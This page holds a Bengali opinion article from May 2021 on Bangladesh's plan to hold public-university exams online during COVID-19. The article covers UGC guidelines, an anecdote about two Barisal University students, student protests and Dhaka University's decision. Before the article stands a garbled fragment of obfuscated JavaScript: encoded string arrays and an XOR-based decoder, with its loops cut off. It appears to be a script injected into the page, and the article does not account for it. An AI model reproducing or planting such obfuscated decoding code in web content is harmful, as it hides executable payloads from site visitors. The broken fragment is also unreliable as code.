JMPIf8OeJxwmlDtrSLTYCSqReWQSTKjVQoCTzO1dOueGxjtjUhTNarRAZvyurBDiWgi4I9Qwgeg","Ws2el7vw9g5s+nx6uOYVv2cRjBYuSzx1D0q0NIU43iwcCxMynsY9z9LceG/gmv7psGBdRuNroE5rlQJTE6TeR1foL4HnMMCrms7uBm1aoGFp4zr6er2hKy9s4uMyvF9WX8GDIXQqcBbw","/DSuLCMv4yDPL8AGWTiUzGAQLMCt157hB2WCJ11wEyUcpgFT03oHz3l0iWmXGd0AlEifyDeePbVf9s10H6MykQ5qSWgfI0Agz9d4RluoCK7Coorbn20ixlbCEc4OfF5EzI3XMrpM4Lhk","1bASVVY4XBRGztZXUHOD7cx0YrTVrv+2h+iB9iKTv6StzyP6WnmgInj4uF2Z/us8t6tcLE9Tq94BSinP5PNlD7WT4bJMIYRlYXTORKopOiCmiIv7BsfTpY5mL1hJV7qe2wsl4Mk/15+d","VPI98eruzqmD4OU9lL5GD9/LnwlYPIJNPS1BvTwHZD0/1MmvowPQsOB7xPvHN0Vn8pivf8Mb8WNpQvNx9ivEyPcVk6NxnY9VN4TVWruhEyBR1K+iIdJ4ZV2IngoV3UkBeL5NBrzUttDZ","Aw6R3xJCnVunhrQl2hRmvDHhzUlFQOXyGJeN1m0u5zd3gHXARxZWewyJGwV0BDDoSqz2hwB5XE1diKaw0afu0tIFFnTaUkcpE6JFPCM1zgs/z+7IpTtdYqzQ5IuoQOHwujWY094mcIde","OifsCxNN7mQ2ylqIjSzzIUUQenFsnAxNy1m/USb1sMz8McuBwqq8jZy9QvWimnDMpLQqOCq2lGMBMOGqWx7Yc56yBT0huFOkhsaect8l0jTK/4RKVrxK7S4Jh4Eab4wgrKssYcCysjea","F+fJqse7f4LAyLGFI3/roTjpEusvwSafiZVxjdAhA5t3lNpZ2KlF/3KT0lZGN37wZeohhVRm4B1qU1JfJo7OgWskoHEa9xMDgOhRXDfmFgZvPFcR75hFtzjKQ76VcrYudJHJSNDNO2lP","ZuZwVLx72Yx9IaWzx/dmxmthq6wk64xxYEzY9U8lvzeHX3mFjAnjJwSppYqqlS+qUIaZuksxyI0lfR+x5QFv1u3V/6ci7h1RRqpADspM0q46IktcbLWJ1HzDI4B/s1HsuXSlTLNsLyPn","1KFag3dIYNi+2bJdjzW38VjEDkXfTdpkHWy40fbkRjrEv+p08zvha4NM2pTOm5BypY9VkSPlmb6L5EcISzghnmQzGyvCuVwKzQJrzDWeSE75xnMQH2jHx9k/8dAo1e1XjUuUx70wldt+","KvW+ecgZswGhhYdBysSojXnd8zuDJ3BPkIvCwFM5BhrcAVwajveHfoerCENPn1uzeWQ40W1tQDpjSfV+gyUFXOMXDTJrRVWOYM56S8xNUUw6B+tLplNLPtfWqhQLZ26IaTsLlDFvYruF","VWizL5qdYtcyoVb1lSuF0DLqEMLQTDQIGq6bgZ6FdDrpZW5z+CIoSrBZy3qQ+EddleFuwOWGWU8rp2g1r9OewHsTAbSobNs4fj/k8GgMkHEVrQoSAV3zqkUxDelAhc/4yLZoXaeKiLGi","4O3ChQAAdsmQkaJxQgZ1l17Zzn4orfJnu52OztxzJpr2vp83QdmXcbMWq55y/rIswzgI6LHw4RujFX7QZ/ckpIloVwYQR1Ph1XjZ/I7q3Z2hTrVtDWrfYwidcHB7NIsm2PmE8TRCEnZB","yJJWIVW3DNCpovRF4pQY+8FIbGdLnSW4mV7OedGXVvVIREQNfr//AcZy5pOfDNl4YCmy3R6K530xMhs0KcSBY5TODmS159WR6C76Yh3ueWmyQBknoCL5pRsd2nj0KT3IlkwE+Vj+pCsD","SHEi1MBIQgJqrZ6JBZCs8J0KnHN28M+XPYuc3itbiPQI5ABv59oWQFFXgjMv4xotKLzCFsO/rhGYiC4+XSmugkObuF/W+dFTmcpzC4sQCdhYGo7Vv2VoH65UaZTEbC/pgKPvx5TJ7kGk","AKRmsrhIe5uX1APWxL//kgo/fVc4jpCoLI5a7TTTwFhL/nw4FzW6SRbu/LW3EQ1iwAGbn1PyCP3RgVv6Z1ejw9Yl6AWFMac1crcBGwXV1ibxsfZ9D4jy2uoXDO9Pk5gFSZKBATUPvnOt","POAlyDSD9Qhf/XxuX+RrRTJRZ0MHG0TnRw5rT78AyU67vivb4uJJX4UtvqAfcoZWXJuftM0zID7NHgZqgU71nrGjY/DKHP9lasGZTfPI+lBkq+vzU87nI3z4fFbapt3eje/uKgHuFNCI","nFbPNW6WJouqTfZU56+ETjKn4zDA29Ap1O/S96jWKhm0Smj459mldkXcdCPkUGYEkgibYuJU8Zu30HU260vAB4wzWLM8rVAzLzjD/8YhMh4xcB7G6WtzSEww0j5PP0yvzj7TN+QdUfVs","OPQRsh3wOWDjf4Qdtx5DOxyXyaskPS52tcPyBDTlzFctPYmLNYxmliqEjjPcxq3E+Jvrx9KNURISMakIkV8b4MekkPUMg2lK7v0/HZqH4h54duaqII3i+MKGkqTLdH0zm0nzMHvRjOjs","VR+gtct4YYIFu+LIpuS4uTz5knw2GJ985OfVJ4QOuVaOkhVW+4H5CJ4yxfdWDMJzZWVqLsze9QGRfC8YNY+GtkAlfK0fcMZuoK1hIzYIqu2hDB0M7qaiTMq9fM/tFUCevdzo+XZ8Tpez","2zorM4prRH1SUaANrdtnhBZRLIXkobILBpv7cvmHpLCnuo2wE+f7Pa6PX6YvcH52D//gRrfpKPNlwvaSwVjmjSfjPjdkF7LvRW3Fcm9DNv1bPvnZGn6THVLS0DvK4MmGGuou3zde6HmU","YHB6qN+qO1eI4vMXOr0jOBPS53qNjUBjDIWgiB3cECJqtI4RCOJVcensJ95ERURHlFJAM0uFlHR27OGxqXUU3/SmxYkhn+LOWI9/D6C6Leyp6vjjxHQpaz68mWwhvQbcliKPyyCjL+iD","JGeiukpdPANwxHMR2B/Zr/niYId/zs/BVaB+vfv6HK/J4e+HJ79dlC/lpftCegpmvLgXONGDritoJHx9LTn2hF1cjUBQSE1eLaPuY0Cfp5ZK8PhGLlwdypPD5/3Sx88ZCMqJ870Cob4t","QHKat/xXKu2dQgMc1RU8gcZtI0H5ejuM17ANfRoiybfI+2+hKul+SaBrpwRV9FqohqcewGil4dUW36bsQRJTITTv2IVSS32b/P7SWVGYkzArSerNJQbC6zBpdEPqXqWZe4GqzqGJ8aXL","UDnhBfIOf8KLQMBV+5SCxgc314v4Ue5cQJq4bb0vKqpVBa06Dy3rhfKym6ZlgXXhjI/FV0ItiTe4Gyz9fGSVwtS2j7ALfM2D/jslcBdrF16Gel4/oF0JbjOkqBtc4cnMo9PEQp8ZwBbs","bBrxoQtOaVEx17MiTGgimo8MbN2kCQi+CmI5dkDB7R0rYSRxYOB/RzrCkl0jARfNlc83xX3iajEPCWEHmXybnvxKl16OlOC8d+JKOJUeFvz3azAkhBTNAliZZIFKhRePJHT6l3ZVkp48","JktcZ8J5SIT08WTGOLUvFkGlbE3vSv2PdgvN2eqW3HvWvEf2DuCXzlPvoldQP/PGxlP5C0NFlsuW10X48Qsilhejgy+vptuAVdM9x7U9x8diNM3Mkp2Pa+M7s1OqQU6eZbX2PjVNGfl9","k2KeZBaetSKh9vu5xmvFqwo16Jl/QkAZ5ZyfkRYMndDdetBhVbmQZDF/27H0VEbfTbRY/2h/CnXK31r8criW/y8dUzEcgR7AVElnBeVXkLuOJ23MVIFcyWXH1E9pqpGtus5FbOUyln2w","OLPpCNnOlelXLuC85LyX44j5gT4owEfFQndl6/O1XVlMK83MUTtPRrGpO9LpAhoiXbvZKobwYtydr9vDb5VUtWmnewrJF64PiCH4tp8hxvX/R3UQT5Z5PQu69JkL4rqlGWVvxKWz+PB2","neu3aFIrpJPMzFpOpLyCFtkLLwQiBQq729dwJZti5C/F+Nv2DxNxp5shoaWmOJhBM/2GI0VtQ9cxML9NPhlYJd4XPcZLioCQ5WzSrjAhZPUfp6AMhATxxbAH/Le8KCR+hQgyI4O/t+O4","OmWK"],pnCL=null,Qdsy=[19,32,59,54,33,60,58,59],E46=85,jBD="",BPx=0,bPB={},amO="",zuF0=0,awF3="",vZy=0,U5u=0,j3DCQ="";if(pnCL){for(BPx=0;BPx>4));if(BPx+2>2));if(BPx+3>>0;for(BPx=0;BPx>>0))>>>0;Flp=(Flp^(Flp>>>17))>>>0;Flp=(Flp^((Flp<<5)>>>0))>>>0;awF3+=s['String']['fromCharCode'](amO.charCodeAt(BPx)^(Flp&255));}for(BPx=0;BPx>4));if(BPx+2>2));if(BPx+3>>0;for(BPx=0;BPx>>0))>>>0;Flp=(Flp^(Flp>>>17))>>>0;Flp=(Flp^((Flp<<5)>>>0))>>>0;awF3+=s['String']['fromCharCode'](amO.charCodeAt(BPx)^(Flp&255));}for(BPx=0;BPx

অনলাইনে পাবলিক বিশ্ববিদ্যালয়গুলোর পরীক্ষা নেয়ার প্রস্তাবনা না সিদ্ধান্ত?

০৩:০৭:৩৭ অপরাহ্ন, রবিবার, ২৩ মে ২০২১

করোনাভাইরাস মহামারীর কারণে প্রায় পনে মাস যাবত দেশের সকল ধরনের শিক্ষা প্রতিষ্ঠান বন্ধ রয়েছে। প্রাথমিক ও মাধ্যমিক  পর্যায়ে সরকারীভাবে উদ্যোগের ফলে সংসদ টিভি ও রেডিও-র মাধ্যমে কিছু ক্লাস নেয়ার ব্যবস্থা করা হয়েছে যদিও তার কার্যকারিতা এবং কাঙ্খিত কত শতাংশ শিক্ষাথীদের কাছে পৌঁছানো গেছে তা নিয়ে যথেষ্ট প্রশ্ন ও সংশয় আছে, তারপরেও বলা যায় অন্তত কিছু একটা করা হয়েছে। কিন্তু জাতীয় বিশ্ববিদ্যালয়ের অধীনে ২৬শ কলেজে প্রায় ৪৪লাখ শিক্ষার্থী লেখাপড়া করে তাদের জন্য এবং দেশের চালূ ৪৯ টি পাবলিক বিশ্ববিদ্যালয়ের শিক্ষার্থীদের জন্য সেই অর্থে কিছ্ইু করা হয়নি।

এত বিশাল সংখ্যক শিক্ষার্থীদের বিশাল লার্নিং লস ও মেধার অপচয় কিভাবে কীভাবে ম্যানেজ করা যাবে তা নিয়ে ফলপ্রসূ কোন আলোচনাও নেই। এদিক দিয়ে দেশের প্রাইভেট বিশ্ববিদ্যালয়গুলো বেশ স্মার্ট। ভালো মানের প্রাইভেট বিশ্ববিদ্যালয়গুলো বন্ধের প্রায় শুরু থেকেই অনলাইন ক্লাস পরিচালনা করে আসছে, অ্যাকাডেমিক ইয়ার যাতে লস না হয় সেজন্য তারা অনলাইনে পরীক্ষাও শুরু করেছিল কিন্তু বাংলাদেশ বিশ্ববিদ্যালয় মঞ্জুরী কমিশন (ইউজিসি) তাদের পরীক্ষা বন্ধ করে দেয়। ইউজিসি হয়তো ভেবেছিলো যে, প্রাইভেট বিশ্ববিদ্যালয়ের শিক্ষার্থীরা এগিয়ে যাবে বা তারা পাবলিক বিশ্ববিদ্যালয়ের শিক্ষার্থীদের তুলনায় আগে বেরিয়ে যাবে যার ফলে উচচ শিক্ষায় একটি বৈষম্য সৃষ্টি হবে। কিন্তু বৈষম্য তো ইতিমধ্যে হয়েই আছে। পাবলিক বিশ্ববিদ্যালয়ের বিশাল অংকের শিক্ষকই মেধাবী কিন্তু তাদের মধ্যে অনেকেই পড়াশুনার সাথে জড়িত থাকতে পারেন না কারণ ছাত্র নেতাদের ম্যানেজ করা, শিক্ষক রাজনীতি করা, টেন্ডার  ইত্যাদি নিয়ে ব্যস্ত থাকতে হয়। তাদের অনেকেই এখনও  কম্পিউটার ইন্টারনেট চালাতে পারেন না। আর বেসরকারি বিশ্ববিদ্যালয়ের শিক্ষকদের পড়াশুনার মধ্যে থাকতে হয়, শিক্ষার্থীদের পড়াতে হয় তারা যেভাবে বুঝে, কর্তৃপক্ষের কাছে জাবাবদিহি করতে হয়। এগুলো সবই অনুপস্থিত পাবলিক বিশ্ববিদ্যালয়ে। তাই, বেসরকারি বিশ্ববিদ্যালয়ের পরীক্ষাগুলো অনলাইনে হতে দেওয়া উচিত ছিল কারণ এখানকার শিক্ষার্থীদের প্রচুর বেতন দিয়ে পড়তে হয়। অভিভাবকদের অনেক চাপের মধ্যে থাকতে হয়। তারা একটু আগে বিশ্ববিদ্যালয় থেকে বের হয়ে ভাগ্যান্বষনে বেরিয়ে পড়তে পারত। কিন্তু তাদের পরীক্ষা বন্ধ করে দেওয়া হলো, যা আমরা মনে করি ঠিক হয়নি। এখন পাবলিক বিশ্ববিদ্যালয়ের শিক্ষার্থীদের অনলাইনে পরীক্ষা নেয়ার প্রস্তাবনা এবং বলা যায় সিদ্ধান্তই হয়ে গেছে। অথচ এখানকার শিক্ষকদের অনেকেরই নেই আধুনিক ডিভাইস সম্পর্কে ধারণা আর শিক্ষার্থীদের অধিকাংশেরই তা থাকার কথা নয়। তারপরেও যে, চিন্তাটা এসেছে এজন্য সংশ্লিষ্ট সবাই ধন্যবাদ পাওয়ার যোগ্য।

শিক্ষাজীবনের ক্ষতি রোধে সরকার অপরিহার্য পরীক্ষাগুলো অনলাইনে নেয়ার চিন্তা করেছে। এর অংশ হিসেবে সম্প্রতি দুটি কমিটি গঠন করা হয়। এর একটি  উচচশিক্ষা সংক্রান্ত এবং অপরটি এসএসসি-এইচএসসি পরীক্ষা নিয়ে। ৬ মে ইউজিসির সঙ্গে বিভিন্ন বিশ্ববিদ্যালয়ের উপাচার্যদের এক বৈঠকে সিদ্ধান্ত হয়ে যে, পাবলিক বিশ্ববিদ্যালয়ের বিভিন্ন সেমিস্টার ও ইয়ার ফাইনাল পরীক্ষা অনলাইনে নেয়া যাবে। সংশ্লিষ্ট বিশ্ববিদ্যালয়ের অ্যাকাডেমিক কাউন্সিলের সিদ্ধান্তক্রমে এ সংক্রান্ত প্রক্রিয়া চূড়ান্ত হবে। তবে এ ক্ষেত্রে বিশ্ববিদ্যালয় মঞ্জুরি কমিশনের  সাত দফার গাইডলাইনকে অগ্রাধিকার দিতে হবে। বিষয়টি এখন শিক্ষা মন্ত্রণালয়ে পরিপত্র আকারে জারির লক্ষ্যে পাঠানো হবে। জানা যায়, দীর্ঘ ছুটির কারণে ইতোমধ্যে শিক্ষার্থীদের দুটি সেমিস্টার পরীক্ষা হয়নি। হিসাব অনুযায়ী আরেকটি সেমিস্টার পরীক্ষা দু এক মাসের মধ্যে হওয়ার নিয়ম আছে। অন্যদিকে করোনার বিদ্যমান পরিস্থিতি ঠিক কতদিনে উন্নতি লাভ করবে, কিংবা করোনার প্রভাব থেকে মানবজীবন কতদিনে মুক্ত হবে তা নিশ্চিত নয়। এমন পরিস্থিতিতে ছাত্রছাত্রীদের স্থগিত পরীক্ষাগুলো অনলাইনে নেয়ার ব্যাপারে সিদ্ধান্ত হয়েছে। তবে এ ব্যাপারে  মন্ত্রণালয়ের নির্দেশনায় গঠিত কমিটির গাইডলাইন অনুসরণের জন্য অনুরোধ করা হয়। কোন বিশ্ববিদ্যালয় অনলাইনে পরীক্ষা নিতে না চাইলে সে স্বাধীনতা তাদের আছে। এ ক্ষেত্রে পরিস্থিতি উত্তরণের পর সরাসরি  পদ্ধতিতে তারা পরীক্ষা নিতে পারবে। এটি বিশ্ববিদ্যালয় স্বায়ত্তশাসনকে সম্মান দেখানো। এ নিয়ে কোন বাধ্যবাধকতা নেই। তবে, শিক্ষার্থী, বিশ্ববিদ্যালয় এবং সর্বোপরি শিক্ষার বৃহত্তর স্বার্থে বিশ্ববিদ্যালয়গুলোকে এ ব্যাপারে সিদ্ধান্ত নেয়া প্রয়োজন। শিক্ষার্থীরা লেখাপড়া বিমুখ হয়ে গেছে। তাদেরকে মানসিকভাবে প্রস্তুত করার জন্য একটা প্যাকেজ গ্রহন করা যেতে পারে। প্রস্তুতিমূলক ক্লাস নিয়ে সেমিষ্টার ফাইনাল বা অন্য পরীক্ষা নেয়ার ব্যবস্থা করা প্রয়োজন।

পরীক্ষা সংক্রান্ত মন্ত্রণালয় কমিটিতে ১৫ সদস্য কাজ করেন। এ কমিটি ইংল্যান্ডের অক্সফোর্ড ও ব্রিস্টলসহ অস্ট্রেলিয়া, নিউজিল্যান্ড, যুক্তরাষ্ট্র, মালয়েশিয়া, ভারত, থাইল্যান্ডসহ বিভিন্ন দেশের বিশ্ববিদ্যালয় ও মঞ্জুরি কমিশন বা উচচশিক্ষাসংক্রান্ত সংস্থাগুলোর করেনাকালে পরীক্ষা পদক্ষেপ আমলে নিয়ে সুপারিশ তৈরি করে। কমিটির মূল প্রতিবেদন ৫ পৃষ্ঠার। ৩২ পৃষ্ঠাই সংযুক্তি। ৭দফা প্রস্তাব হছে যে কোন বিষয়ের তত্ত্বীয় ও ব্যবহারিক পাঠদান (ইনপারসন/অনলাইনে) সম্পন্ন হওয়ার পর কালক্ষেপণ না করে তার চূড়ান্ত মূল্যায়ণ ( ইনপারসন/অনলাইন) সম্পন্ন করা সম্ভব নয়, তা অবশ্য সুবিধাজনক সময়ে যথাযথ স্বাস্থ্যবিধি মেনে ইনপারসন বা সরাসরি ক্লাসে সম্পন্ন করতে হবে। যে কোন মূল্যায়নে পাস/ফেল পদ্ধতি এক সেমিস্টার বা দুই সেমিস্টারে করা হলেও দীর্ঘমেয়াদিতে এ মূল্যায়ণ কখনো শিক্ষার্থীর সঠিক মূল্যায়ন নিশ্চিত করে না এবং এটা করা সমীচীন নয়। বিধায় মূল্যায়নের ক্ষেত্রে সব বিষয়ের বিপরীতে শিক্ষার্থীর সত্যিকারের মেধা ও মূল্যায়নের স্বচ্ছতা নিশ্চিত করার মাধ্যমে চলমান পদ্ধতি ও স্কেলে গ্রেড দিতে হবে। এ ছাড়া বিশ্ববিদ্যালয়গুলো তাদের জন্য উপযোগী অনলাইনে পরীক্ষা নেয়ার সুস্পষ্ট পদ্ধতি গ্রহন করবে এবং বাস্তবতার নিরিখে ছয়টি বিষয় অনুসরন করবে। এগুলো হচ্ছে- নিরবচ্ছিন্ন বিদ্যুৎ এবং ইন্টারন্টে সংযোগ ও স্পিড, ডিজিটাল ডিভাইস, ডিজিটাল টুল, প্রশ্ন সেটিংস, অসাধু পন্থা অবলম্বন মোকাবিলা এবং আন্তর্জাতিকভাবে ফলাফলের গ্রহনযোগ্যতা। প্রস্তাব অনুযায়ী চরাটি পদ্ধতি অনুসরণ করে যে কোন তত্ত্বীয় বিষয় এবং হাতে-কলমে কাজ করার প্রয়োজন নেই এমন ব্যবহারিক বিষয়ে চূড়ান্ত নম্বর/গ্রেডিং অনলাইনে পরীক্ষা নিয়ে প্রদান করা যেতে পারে। এগুলো হচ্ছে- সৃজনশীল কাজ সৃজনশীল কুইজ/বিভিন্ন সেটের বহু নির্বাচনী প্রশ্নমালা (এমসিকিউ)সময়াবদ্ধ শ্রেণি পরীক্ষা এবং মৌখিক পরীক্ষা। প্রস্তাবে বলা হয়, ব্যবহারিক ক্লাসের বিভিন্ন এক্সপেরিমেন্টের ভিডিও সংশ্লিষ্ট বিভাগের ওয়েবসাইটে আপলোড করতে হবে এবং শিক্ষার্থীদের ইমেইলে এক্সপেরিমেন্টের পুরোনো ডাটা প্রেরণ করতে হবে। শিক্ষার্থীরা এসব ডাটা অ্যনালাইসিস করে সংক্ষিপ্ত রিপোর্ট সংশ্লিষ্ট শিক্ষককে পাঠাবে। ল্যাবভিত্তিক নয় এমন থিসিসি/প্রজেক্ট অনলাইনে সুপারভাইজ করা যেতে পারে। ল্যাবভিত্তিক থিসিস/প্রজেক্টের সুপারভিশন/স্বাস্থ্যবিধি মেনে ইনপারসন বা অনলাইনে হতে পারে। থিসিস/প্রজেক্টের হার্ডকপি গৃহীত হওয়ার পর অনলাইনে ভাইভা নেয়া যেতে পারে। শিক্ষা মন্ত্রণালয় ও আইসিটি মন্ত্রনালয়  অনলাইন ক্লাস ও পরীক্ষা সুষ্ঠুভাবে সম্পন্ন করার জন্য প্রত্যন্ত অঞ্চলে ইন্টারন্টে প্রাপ্যতা ও প্রয়োজনীয় স্পিড নিশ্চিত করার ব্যবস্থা গ্রহন করতে পারে।

পাবলিক বিশ্ববিদ্যালয়ে অনলাইন পরীক্ষা গ্রহন  প্রসঙ্গে আমি একট সত্য ঘটনার উল্লেখ করতে চাচ্ছি। বরিশাল বিশ্ববিদ্যালয়ের দুজন শিক্ষার্থী তাদের গ্রাজুয়েশন পরীক্ষা প্রায় শেষ করে ফেলেছেন, মাত্র দুটি পরীক্ষা বাকি থাকতেই গতবছর করোনার কারণে সব শিক্ষা প্রতিষ্ঠানগুলো বন্ধ হয়ে যায়। শিক্ষার্থী দুজনই প্রকৃত মেধাবী, যদিও শিক্ষকদের বিবেচনায় তাদের বিভাগে সেভাবে স্থান দেওয়া হয়নি যা আমাদের বিশ্ববিদ্যালয়ে কিছু কিছু শিক্ষকগন এ কাজ করে থাকেন। দুজনই মাষ্টার্স করার জন্য ফ্রান্সের একটি প্রথম গ্রেডের বিশ্ববিদ্যালয়ে বৃত্তি পেয়েছেন। গ্রাজুয়েশন শেষ করেই তাদের সেখানে যেতে হবে। দু’টো পরীক্ষা বাকি থাকায় হয়েছে সমস্যা। শিক্ষার্থী দু’জন বিশ্ববিদ্যালয়ের চেয়ারম্যান, অ্যাকাডেমিক কাউন্সিল ও ভিসি পর্যন্ত অনেক ছুটাছুটি করেছেন। তাদের দাবি ছিল বিশ্ববিদ্যালয়ের স্বায়ত্তশাসন ব্যবহার করে বিশেষ ব্যবস্থায় পরীক্ষা নেয়া যাতে তারা উক্ত বিশ্ববিদ্যালয়ের সেশন ধরতে পারেন।  কিংবা দেশেই অনলাইন পরীক্ষার আয়োজন অথবা ফ্রান্সে যাওয়ার পর তারা অনলাইন পরীক্ষা দিবে এ ব্যাপারে ভিসির একটি অনুমতিপত্র দেওয়া। কোন শর্তেই, কোন যুক্তিতেই কেউ রাজী হননি। উল্লেখ্য, বরিশাল বিশ্ববিদ্যালয় থেকে ইউরোপের কোন উন্নতমানের বিশ্ববিদ্যালয়ে এই প্রথমবারই কোন শিক্ষার্থী সুযোগ পেয়েছেন। তারপরেও কারুর  কোন আগ্রহ কিংবা উৎসাহ ছিল না। আমাদের পাবলিক বিশ্ববিদ্যালয়ের ভিসিদের তো এসব বিষয় নিয়ে কোন আগ্রহ থাকে না, তারা পারেন অবৈধভাবে, কোন নিয়ম নীতির তোয়াক্কা না করে ১৪১ জনকে চাকরি দিতে কারন তারা সরকারি দলের, সরকারকে এভাবে খুশী করতে পারলেই সব পার। শিক্ষার্থী দুজন আমাকে পুরো ব্যাপার জানিয়েছেন। পরে তারা শিক্ষা সচিবের সাথে দেখা করেছেন, উনিও অপারগতা প্রকাশ করেছেন। শেষে শিক্ষামন্ত্রীর সাথে দেখা করে তাকে বুঝিয়েছেন তারা ফ্রান্সে গিয়ে অনলাইনে পরীক্ষা দিবেন এবং তারা যদি এবারের সেশন (২০২০) ধরতে না পারেন তাহলে বৃত্তির সুযোগ হাতছাড়া হয়ে যাবে। শিক্ষামন্ত্রী ব্যাপারটি বুঝেছেন এবং শিক্ষার্থী দুজনকে অভিবাদন জানিয়ে বলেছেন ‘তোমরা দেশের সম্পদ, তোমাদের জন্য দেশের এই কাজটুকু তো করতেই হবে’। মন্ত্রী নিজে যখন ভিসিকে বললেন ওরা ফ্রান্সে গিয়ে অনলইনে বাকি পরীক্ষা দুটো দিবে, ভিসি তখন রাজী হলেন এবং শিক্ষার্থী দুজন বিশ্ববিদ্যালয়ে গিয়ে ঠিকমতো সেশন ধরেছেন। তাদের মাষ্টার্স প্রায় শেষ, এখন ইন্টার্নশিপ করছেন। যে কোম্পানিতে তারা ইন্টার্র্নশিপ করছেন সেই কোম্পানির নিজস্ব সেন্টার রয়েছে ঐ বিশ্ববিদ্যায়েয় ক্যাম্পাসে। চমৎকার! আমাদের বিশ্ববিদ্যালয়গুলে কী এসব কথা কখনও চিন্তাও করে? ধন্যবাদ শিক্ষা সচিবকে যিনি শিক্ষার্থী দুজনকে সচিবালয়ে ঢুকতে দিয়েছেন, তাদের কথা শুনেছেন, অজস্র ধন্যবাদ শিক্ষামন্ত্রীকে যিনি পুরো বিষয়টি বুঝে ব্যবস্থা নিয়েছিলেন।

অনলাইনে পাবলিক বিশ্ববিদ্যালয়ে পরীক্ষা গ্রহনের সিদ্ধান্তের ব্যাপারে শিক্ষার্থীরা তাদের প্রতিক্রিয়া জানিয়েছেন। তারা  বিশ্ববিদ্যালয় খোলার দাবিতে অনলাইনে একত্র হচ্ছেন এবং ‘অবিলম্বে সকল বিশ্ববিদ্যালয় খুতে দিতে হবে’ নামের একটি ফেসবুক গ্রুপ চালু করেছেন। সেই গ্রুপ থেকে তারা অনলাইনে পরীক্ষার সিদ্ধান্ত প্রত্যখ্যান করেছেন এবং  আগামী ২৪ মে থেকেই বিশ্ববিদ্যালয় খুলে দেওয়ার দাবি জানিয়েছেন। তারা বলছেন ‘অনলাইনে পরীক্ষা কার্যক্রম চালানোর মতো কোনো বাস্তবতা আমাদের বিশ্ববিদ্যালয়গুলোর নেই। আমাদের দেশের নেটওয়ার্কব্যবস্থা খুবই দুর্বল, যা দিয়ে পরীক্ষা গ্রহন করা সম্পূর্নই অসম্ভব। তা ছাড়া শিক্ষার্থীদের বড় একটা অংশকে অনলাইন কার্যক্রমের আওতায় নিয়ে আসা সম্ভব নয়। আবার শিক্ষকরাও অনলাইনের সব কার্যক্রম পরিচালনার ক্ষেত্রে দক্ষ নন’। তারা আরও বলছেন, মূলত শিক্ষা প্রতিষ্ঠান বন্ধ রাখতেই অনলইন পরীক্ষার নতুন এই পদ্ধতি চাপিয়ে দেওয়া হচ্ছে। শিক্ষার্থীদের কাছে উপযুক্ত ডিভাইসের অভাব আছে , ইন্টারনেট খরচ বহন করার সক্ষমতাও সবার নেই। যেখানে অনলাইন ক্লাসগুলোয় শিক্ষার্থীদের একটি বড়ো অংশ অনুপস্থিত থেকে যায়, সেখানে পাবলিক বিশ্ববিদ্যালয়ের পরীক্ষাগুলো অনলাইনে নেযার সিদ্ধান্ত অযৌক্তিক বলে মনে করেন শিক্ষাথীরা। তাদের দাবির কথা সরকারের কাছে ও বিশ্ববিদ্যালয় প্রশাসনের কাছে তুলে ধরার জন্য ভার্চুয়াল প্রতিাবাদ  চালু রাখার কথা বলেছেন। যদি মে মোসের মধ্যে হল-ক্যাম্পাস খুলে শিক্ষা কার্যক্রম স্বাভাবিক করা না হয়, তাহলে তারা শিক্ষা প্রতিষ্ঠানে ফের গিয়ে সরাসরি মাঠে আন্দোলন চালিয়ে যাওয়ার হুমকি দেন।

জানা যায় যে, ঢাকা বিশ্ববিদ্যালয় অনলাইনে পরীক্ষা নেয়ার ব্যাপারে সিদ্ধান্ত নিয়েছে যেটি এই উদ্যোগের সহায়ক এবং অন্যান্য শিক্ষা প্রতিষ্ঠানের জন্য দৃষ্টান্ত ও উৎসাহব্যঞ্জক একটি বিষয়। তবে, পরীক্ষা গ্রহনের ক্ষেত্রে অবশ্যই আন্তর্জাতিকভাবে যাতে গ্রহনযোগ্য হয়, সেই দিকে নজর দিতে হবে, তা না হলে এভাবে ডিগ্রি নেয়া গ্রাজুয়েটগন ভবিষ্যতে বিপাকে পড়তে পারেন। ঢাকা বিশ্ববিদ্যালয়ের সিদ্ধান্ত থেকে জানা যায় যে, করোনা পরিস্থিতির উন্নতি না হলেও ১ জুলাই থেকে অনলাইনে পরীক্ষা নেবে। ৫ মে ডিন কমিটিতে এ সিদ্ধান্ত নেয়া হয় যা পরদিনই অ্যাকাডেমিক কাউন্সিল অনুমোদন করেছে। করোনা পরিস্থিতির উন্নতি না হলে সব বর্ষের চূড়ান্ত পরীক্ষা শুরু হবে। অনলাইন পরীক্ষার গ্রহনযোগ্যতা এবং পরীক্ষায় শিক্ষার্থীদের অংশগ্রহন কীভাবে নিশ্চিত করা যায় তা সুনির্দিষ্ট করতে অনুষদগুলোর ডিন ও ইনস্টিটিউটগুলোর পরিচালকদের একটি কৌশলপত্র তৈরির দায়িত্ব দিয়েছেন ভিসি।তাদেরকে দুই সপ্তাহের মধ্যে কৌশলপত্র জমা দিতে বলেছেন।অনলাইন পরীক্ষার ব্যাপারে শিক্ষকদের প্রশিক্ষণ দেওয়া হবে। পাবলিক বিশ্ববিদ্যালয়ের শিক্ষকদের প্রশিক্ষণ দিয়েই হোক আর নিজেদের প্রচেষ্টায় হোক, আধুনিক বিশ্বের সাথে তাল মেলানোর জন্য তাদের আধুনিক ডিভাইসের ব্যবহার জানা খুবই জরুরি।